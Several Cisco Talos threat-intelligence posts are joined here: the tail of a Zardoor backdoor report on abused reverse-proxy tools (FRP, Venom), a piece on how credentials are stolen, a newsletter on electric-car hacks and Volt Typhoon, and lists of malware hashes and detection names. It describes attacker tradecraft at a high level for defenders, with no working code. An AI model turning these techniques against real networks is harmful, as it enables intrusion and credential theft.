Fast Reverse Proxy (FRP) has been reported to be used by several, predominantly Chinese threat actors to bypass network security measures and maintain persistence within a compromised network. By leveraging FRP, these threat actors can create a tunnel from a machine within the compromised network to an external server under their control. This allows them to exfiltrate data, deploy additional malicious tools, or carry out other activities while evading detection. 

The usage of FRP, a legitimate and widely-used tool, makes the malicious traffic harder to distinguish from the normal network traffic, thereby increasing the stealthiness of the attack. However, the presence of an FRP client in the environment may be a good indicator of potential compromise of the network where FRP is not typically used. 

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
VirusTotal uploads for the FRP client executables.

FRP is a popular tool and has been increasingly used by threat actors, based on the increase in VirusTotal submissions of FRP tools over the past few years. 

Venom proxy

Venom is a multi-hop proxy designed for red teaming and pentesting written in the Go language. It allows the user to create a network of proxy nodes that can act as an admin or agent. The agent connects to either another agent or the admin node. The user controls the network through the control of the administration node and can easily add additional agents to the network. 

Venom allows the user, which could also be a malicious actor, to create a botnet of proxies that can be used to remotely control the nodes, exfiltrate data, install additional payloads, etc. 

The Venom features are:

  • Multi-hop socks5 proxy.
  • Multi-hop port forwarding.
  • SSH tunneling.
  • Interactive shell.
  • Uploading and downloading files.
  • Network traffic encryption.
  • Support of multiple platforms (Linux/Windows/MacOS) and multiple architectures (x86/x64/ARM/MIPS).

Other reverse proxy tools and their usage by threat actors

In addition to FRP and Venom, threat actors, predominantly originating from China, based on the previous Talos research and available open-source threat intelligence use several other tools supporting reverse proxying, most commonly:

We have also created a matrix that displays the active threat groups and the proxy tools they are using. Talos assesses with low confidence that the existence of one or more of the tools on a compromised system may indicate the activity of a particular group, as these tools are easily reusable and can be employed by any malicious actor. 

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization
Proxy tools and the threat actors utilizing them.

Zardoor attacks conducted by an advanced threat actor

Talos assesses this campaign was conducted by an unknown and advanced threat actor. We have not been able to attribute this activity to any known, publicly reported threat actor at this time, as we have not found any overlap between the observed tools or C2 infrastructure used in this campaign. 

The threat actor appears highly skilled based on their ability to create new tooling, such as the Zardoor backdoors, customize open-source proxy tools, and leverage several LoLBins including “msdtc.exe” to evade detection. In particular, side-loading backdoors contained in “oci.dll” via MSDTC is a very effective method of remaining undetected while maintaining long-term access to a victim’s network. 

Coverage

Ways our customers can detect and block this threat are listed below.

New Zardoor backdoor used in long-term cyber espionage operation targeting an Islamic organization

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are 61913, 61914 and 62371 - 62380.

The following ClamAV signatures have been released to detect malware artifacts related to this threat:

  • Win.Backdoor.Zardoor-10019732-0
  • Win.Backdoor.ZardoorVMP-10019731-0
  • Win.Backdoor.sSocksProxy-10019733-0
  • Win.Backdoor.VenomProxy-10019734-0

MITRE ATT&CK Techniques

Command and Control

  • T1090.003 Proxy: Multi-hop Proxy
  • T1105 Ingress Tool Transfer 
  • DiscoveryT1018 Remote System DiscoveryT1033 System Owner/User
  • DiscoveryT1049 System Network Connections Discovery
  • T1057 Process Discovery
  • T1087.002 Account Discovery: Domain Account

Persistence

  • T1053.005 Scheduled Task/Job: Scheduled Task
  • T1574.002 Hijack Execution Flow: DLL Side-Loading

Execution

  • T1047 Windows Management Instrumentation
  • T1059.003 Command and Scripting Interpreter: Windows Command Shell
  • T1204.002 User Execution: Malicious File
  • T1574.002 Hijack Execution Flow: DLL Side-Loading

Exfiltration

  • T1048 Exfiltration Over Alternative Protocol

Privilege Escalation

  • T1055 Process InjectionT1574.002 Hijack Execution Flow: DLL Side-Loading

Defense Evasion

  • T1055.001 Process Injection: Dynamic-link Library Injection
  • T1070.004 File Deletion
  • T1574.002 Hijack Execution Flow: DLL Side-Loading

IOCs

IOCs for this research can also be found in our GitHub repository here.

How are user credentials stolen and used by threat actors?

How are user credentials stolen and used by threat actors?

You’ve no doubt heard the phrase, “Attackers don’t hack anyone these days. They log on.” 

By obtaining (or stealing) valid user account details, an attacker can gain access to a system, remain hidden, and then elevate their privileges to “log in” to more areas of the network.  

Unfortunately, the use of valid accounts is prevalent across the threat landscape. It was the second-most common MITRE ATT&CK technique that Talos observed in our threat telemetry in 2023. 26% of all Cisco Talos Incident Response engagements last year involved the use of valid accounts. 

In figures from Incident Response engagements from the fourth quarter of 2023 , the top means of gaining initial access was a tie between the use of compromised credentials on valid accounts and exploiting public-facing web applications. 36% of malicious tooling was also focused on accessing and collecting credentials. You can read more about this in our Incident Response Quarterly Trends report. 

The pervasiveness of these types of attacks is driven by a few key reasons: 

  1. Most companies think that cyber attacks will come from “the outside in.”   

Attacks that use valid accounts to log on take more of an “inside-out” approach. Once the initial access is gained, they are stealthily inside the network and there is more of a chance that the attacker will evade detection as they are trying to move laterally. Especially if the network is unsegmented. Long story short — exploiting a vulnerability can certainly lead to initial access, but authorized credentials help the adversary navigate laterally under the radar. 

  1. Stolen credentials are for sale on the dark web.  

Effectively, some threat actors are in the market of stealing credentials simply to sell them to the highest bidder. Actors who purchase them may well use them for a larger targeted ransomware campaign and/or for espionage purposes. For account details that come with high privileges (for example, those who work in finance or have access to networking devices), the bigger the price.  

  1. Attackers are following the trends of how we work today.  

We’re accessing more systems remotely, we’re accessing company systems on our own devices, and cloud solutions are becoming increasingly commonplace. From a threat actor perspective, their mindset is shifting. “Why force my way into a system when I can just log in?” 

Speaking to those remote working trends, across the broader Cisco organization, we now see 1.5 billion multi-factor authentication requests every month (via Cisco Duo). For each authentication request, Duo evaluates what is a request from a trusted user, compared to a bad request from an attacker.  

The lack of MFA (or poorly installed MFA) is frequently the No. 1 security weakness in our Talos Incident Response Quarterly Trends report (as was the case in Q4 2023). According to Oort, whom Cisco acquired in 2023, 40% of enterprise customers have no MFA, or use weak MFA (for example, clear text SMS). This appears to be contributing to the challenge of bad actors using valid accounts as a key initial access tactic. 

So how are attackers effectively ‘logging on’ with valid account credentials? Here are some tactics that we frequently encounter within Talos threat telemetry and Incident Response engagements: 

Credentials stolen from password stores 

Stolen credentials from password stores took the No. 4 spot in the top 20 list of the most common MITRE ATT&CK techniques Talos saw in 2023. This is when users store passwords on various applications or web browsers. Adversaries search across common password storage locations to look for passwords that have been stored there. This technique has been used by threat actors for many years, but the rate at which this is still happening highlights the need for why organizations and individuals should be using password managers and not the built-in ones in web browsers. 

Credentials stolen from fake login portals via phishing campaigns 

Attackers will often try and replicate common login portals, such as Microsoft Office 365, and may send the user a phishing email asking them to log in due to some issue with their account. On the surface, the web page looks legitimate, but it’s a fake copy with malicious software behind it which is designed to capture user account details. 

Input capture 

Input capture was seventh on the top 20 MITRE ATT&CK list. This is a technique where threat actors will deploy methods to capture login data that is inputted by the user. The most prevalent type of input capture is keylogging, where adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging usually occurs after a user is the unwitting victim of stolen credentials via a phishing campaign or other means of access. 

Stealing or Forging Kerberos Tickets 

The stealing of Kerberos tickets was the ninth most common MITRE ATT&CK technique Talos observed in 2023. Kerberos is a network authentication protocol that authenticates service requests and grants a ticket for a secure connection. In the case of bad actors, they will try and steal these tickets (or forge them) to enable unauthorized access.  

Targeting dormant accounts 

According to Oort data from 2022, dormant accounts represent almost a quarter of the average company’s total accounts, and these accounts are regularly targeted (over 500 times per month on average). Attackers will look for accounts that are not used regularly but still have network access (for example, an employee or a temporary contractor who left the company, but their access was never removed).  

Infostealers 

Infostealers, or information-stealing malware, appear frequently in Talos IR engagements. Infostealers can be used to gain access to any kind of sensitive information including financial details and even intellectual property. Most commonly, we see infostealers being used to access and collect user credentials. 

Brute force attacks 

If an attacker has part of the login details, they may try brute force techniques to try and repetitively guess the password. These may not necessarily be entirely random guesses, as attackers may use knowledge that has been gained from other attacks or leaks, such as the ones listed above. This highlights the need for organizations to limit the amount of consecutive failed logon attempts. 

Password spraying 

Password spraying is a specific kind of brute force attack, but instead of brute forcing a password on a single system, the actors will use passwords from information leaks. They will try them on popular web services in the hope that users will reuse their passwords. This highly reduces the chance of detection and password blocking. 

QR code phishing 

According to public reporting, there has been a recent rise in QR code phishing to gain user credentials. The Cisco Talos Incident Response team were recently called in to help with a such an incident where credentials were stolen. A phishing email was sent to the company email of several employees and the email contained a PDF with a malicious QR code. Some employees used their smartphone to scan the code which paved the way for the attacker to gain their credentials and log in to the organisation’s system. The exact reason as to why the attacker was able to obtain the credentials is unknown due to a lack of logs in the smartphone, but one reason could be that passwords were saved in an unpatched browser. 

Going after the users 

Some of the above techniques can be addressed by defender tools and configurations within the organization’s network environment which allow for the detection of unauthorized access. But since there are many identity-type attacks that seek to manipulate or coerce the user themselves, we also need to talk about how users are being targeted today.  

I asked Talos’ Head of Outreach Nick Biasini about what his main recommendations were for the coming year. He spoke about the increased targeting of users and how adversaries are getting more relentless in their attempts to gain valid credential-based access to a system. 

He mentioned that whilst the malware itself used to gain these credentials won’t necessarily be very sophisticated, it is more about the intensity of the attacks. Here’s his insights in full:  

Phishing emails are one of the most common ways adversaries compromise victims (it was No. 3 in Talos’ list of initial access vectors for 2023 and has consistently been a top-ranked threat in Talos Incident Response findings for years). In the last year alone, 25% of the initial access vectors identified in Talos Incident Response engagements were comprised of phishing. This observation is consistent with U.S. government findings, with the FBI noting that phishing was the top incident reported to its Internet Crime Complaint Center (IC3) in 2022.  

Most people think of phishing/social engineering as clicking on a malicious link and triggering malware. But there are deeper aspects to these attacks that can involve the manipulation of users to do bidding on behalf of threat actors. These are known as insider attacks. 

Insider attacks 

We still see cases of the traditional malicious insiders i.e. employees who deliberately want to cause damage to their organization’s network, either for financial gain, or frustrations with the organization itself. But increasingly we are seeing another category of insider attacks – the “unwitting assets.”  

In the case of the unwitting asset, threat actors use social engineering to leverage the user to act on their behalf, typically through some form of manipulation. 

A common example is when an adversary concocts a story that implicates the user in some way, or there’s a problem that needs solving quickly. Adversaries, especially more sophisticated ones, will often ask for the target to get on a phone call to discuss the issue further.  

Once the attacker has someone on the phone, they unfortunately stand more of a chance of persuading the user to do the adversary’s bidding. This could include logging into devices and reconfiguring something or revealing important account details. 

Recommendations 

Identity related attacks are challenging to defend against. You’re dealing with the misuse of valid credentials. Finding the genuine source of them is especially difficult if users are being coerced to share their account details or conduct malicious activities. However, there are some practices we recommend that can help: 

  • Limit the amount of access a user has – no more than is required for them to perform their job.  
  • Limit the amount of consecutive failed login attempts to prevent possible brute force access. 
  • Ensure you are using MFA across your network. 
  • For IT administrators, ensure you are set up to inspect laterally across the network. Not just inspecting traffic going north/south. This will help prevent attackers who are trying to move laterally. 
  • Have a defense-in-depth approach, so that if a portion of your defense fails, other defenses can detect anomalies and intrusions. 
  • Conduct routine auditing and ensure dormant accounts are deleted from the network. This will help prevent attackers using dormant accounts to try to gain access undetected. It’s also common for accounts to be set up to test new systems, so ensure these test accounts are only temporary. Set up an automated procedure for test accounts to be disabled at the end of the project. 
  • Additionally, disable the accounts of those who have left your organization and ensure you remove their remote access (i.e., through the VPN).  
  • Have a checks and balances system in place for dealing with financial transactions so that no single person can initiate and complete a wire transfer without additional approval. This can help mitigate social engineering attacks against users who deal with payments. 
  • Addressing the abuse of valid credentials involves a comprehensive set of security measures. Consider a zero-trust architecture approach which validates every user connection to every device and every application. This will help prevent threat actors operating under the radar and across your network with stolen credentials. 

And finally, we would recommend organizations to consider actively hunting for evidence of incursion. As well as finding possible breaches, you may also detect areas where your overall network security could be improved. You can read more about this in our blog “Beyond the basics: Implementing an active defense.” 

The many ways electric cars are vulnerable to hacks, and whether that matters in a real-world

The many ways electric cars are vulnerable to hacks, and whether that matters in a real-world

I’d hate to be labeled a “car guy” now mentioning my new electric car in the lede of two newsletters in a row, but I couldn’t resist. 

I’d been reading headlines for years about how electric cars (most notably Tesla) were vulnerable to a range of security vulnerabilities, even some that could allow bad actors to steal the car if they were close enough to the car’s keys. While I don’t own a Tesla, I am now more invested in following the various ways attackers can take advantage of the connectivity of electric cars. 

I’ve bemoaned before about everything being “smart” now, but there’s no escaping it if you want to convert to an electric vehicle. They’re all Wi-Fi connected so drivers can control the charging speed and timing of their cars, monitor public charging stations and communicate with the dealer about any electrical failures. 

A whole new slew of electric car-related vulnerabilities came out last week thanks to the Pwn2Own hacking event in Tokyo as part of the Automotive World conference. Car and charging companies were offering a combined $1 million in bug bounty payments for researchers who could find security vulnerabilities in a range of cars and electric car-related products like home chargers. 

In all, researchers discovered 49 zero-day vulnerabilities, including a two-vulnerability exploit chain in Tesla cars that could allow an attacker to take over the onboard infotainment system. Other vulnerabilities were discovered in ChargePoint and Juicebox products, two prominent manufacturers of home, travel and commercial electric charging equipment. Although few details are available on the specific vulnerabilities, the Zero Day Initiative said on its blog that one researcher “was able to execute his attack against the ChargePoint Home Flex.” 

Some of these exploits are funny to read about. Imagine an attacker taking the time to hack into a Tesla’s modem so they can turn on a car’s windshield wipers without the driver knowing. Tesla stated after Pwn2Own that none of the vulnerabilities discovered would be more than an annoyance for the driver.  

Certainly, previous vulnerabilities that could allow someone to drive away with your car would be more than an annoyance, but this latest batch of bugs has lower stakes than that.  

I could see a lot of traditionalists who are hesitant to switch to electric cars being hesitant because their 2011 Toyota Corolla doesn’t require the internet to run. That doesn’t mean that owning an electric car or installing a home charger are inherently risky. I would argue that the average IoT device or home router runs a higher risk of exposing your home network to a larger risk surface because they are often overlooked in security.  

As weird as it is to say, just like you patch an IoT device, it’s important to patch the firmware on your vehicle (gas-powered or not) regularly. Still, I’m not sure it’s time to just assume your electric car is going to be hacked like in “Cyberpunk 2077” because these vulnerabilities are out there. 

The one big thing 

The FBI says it’s shut down the recently emerged Volt Typhoon, a Chinese state-sponsored actor. FBI Director Christopher Wray announced the disruption Wednesday during a hearing with a U.S. House committee. Volt Typhoon was first disclosed in mid-2023 for targeting outdated wireless routers, including some belonging to U.S. critical infrastructure. The hackers had been targeting U.S. water treatment plants, the power grid, oil and natural gas pipelines, and transportation systems, Wray said. 

Why do I care? 

Aging network infrastructure is a problem for all users across the globe. As highlighted by Talos’ report on JaguarTooth last year, unpatched routers or older routers with security vulnerabilities are easy targets for state-sponsored actors, and they can often sit unnoticed on these devices for months or years. Volt Typhoon is particularly notable for its targeting of high-risk sectors and U.S. military bases.  

So now what? 

The FBI and U.S. Cybersecurity and Infrastructure Security Agency warned router vendors to patch their devices as soon as possible to prevent the exploitation of vulnerabilities Volt Typhoon is known for using. All users should check to make sure their routers, regardless of make, model or age, have the latest firmware installed. We also have several recommendations for everyone to defend their network infrastructure and upgrade to newer hardware. 

Top security headlines of the week 

Ads displayed in several different popular mobile apps are part of a mass global surveillance effort, with the information eventually being sold to national security agencies that can track the physical location, hobbies, and names of users’ family members. The ad-based tool, known as Patternz, strikes deals with smaller ad networks to gather information from users’ devices when they access some apps like Kik messenger and the 9gag online forum. While reporting from 404 Media shows a specific example targeting an Android user, the same methods work on iOS devices. Separately, security researchers also found that many push notifications on iPhones are unknowingly sending user information back to apps, even if the user doesn’t have those apps installed. When triggered, some push notifications will send app analytics and device information to remote servers belonging to other apps like TikTok, Facebook, Instagram and X, formerly known as Twitter. (404 Media, 9to5 Mac

A cyber attack disrupted nearly all the government services of Fulton County, Georgia, this week, with systems still recovering as of Wednesday afternoon. The attack is notable because Fulton County is where former U.S. President Donald Trump is charged and being tried for his involvement in trying to overturn the results of the 202 presidential election. The cyber attack also targeted the office of the District Attorney who investigated and is charging Trump. The county’s government phone systems were all down, as were access to court filings, tax processing and more. Law enforcement was still investigating the attack as of Wednesday afternoon, though county officials said they had not seen any evidence that personal information of employees or citizens had been stolen. (NBC News, CNN

Cozy Bear, a well-known Russian APT, is reportedly behind two recent breaches at Microsoft and Hewlett Packard Enterprise (HPE). Microsoft, calling the group “Midnight Blizzard” said in a blog post that they detected a state-sponsored attack on their internal systems on Jan. 12, 2024. Microsoft stated that the actor got in by abusing user accounts “to create, modify, and grant high permissions to OAuth applications that they can misuse to hide malicious activity.” This was the second time in six months that Microsoft disclosed a state-sponsored actor targeting its internal systems. In the case of Cozy Bear, the hacking group allegedly monitored the email accounts of senior Microsoft executives and members of the company’s cybersecurity teams. Executives from HPE filed a notice with the U.S. Securities and Exchange Commission last week stating that the same actor “gained unauthorized access to HPE’s cloud-based email environment.” HPE said the actor initially gained access through a compromised Microsoft Office 365 email account. (Microsoft, Ars Technica

Can’t get enough Talos? 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440 
MD5: ef6ff172bf3e480f1d633a6c53f7a35e 
Typical Filename: iizbpyilb.bat 
Claimed Product: N/A  
Detection Name: Trojan.Agent.DDOH 

SHA 256: 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7  
MD5: 0e4c49327e3be816022a233f844a5731  
Typical Filename: aact.exe  
Claimed Product: AAct x86  
Detection Name: PUA.Win.Tool.Kmsauto::in03.talos 

SHA 256: 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e 
MD5: 040cd888e971f2872d6d5dafd52e6194 
Typical Filename: tmp000c3787 
Claimed Product: Ultra Virus Killer 
Detection Name: PUA.Win.Virus.Ultra::95.sbx.tg 

SHA 256: e340aa9f08ce8128e17a3186053bfaf2dc119d98a64f7bc4d37fb7be03365c93 
MD5: 5800fc229e3a5f13b32d575fe91b8512 
Typical Filename: client32.exe 
Claimed Product: NetSupport Remote Control 
Detection Name: W32.Riskware:Variant.27dv.1201 

SHA 256: 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab 
MD5: 4c648967aeac81b18b53a3cb357120f4 
Typical Filename: yypnexwqivdpvdeakbmmd.exe 
Claimed Product: N/A  
Detection Name: Win.Dropper.Scar::1201 

❌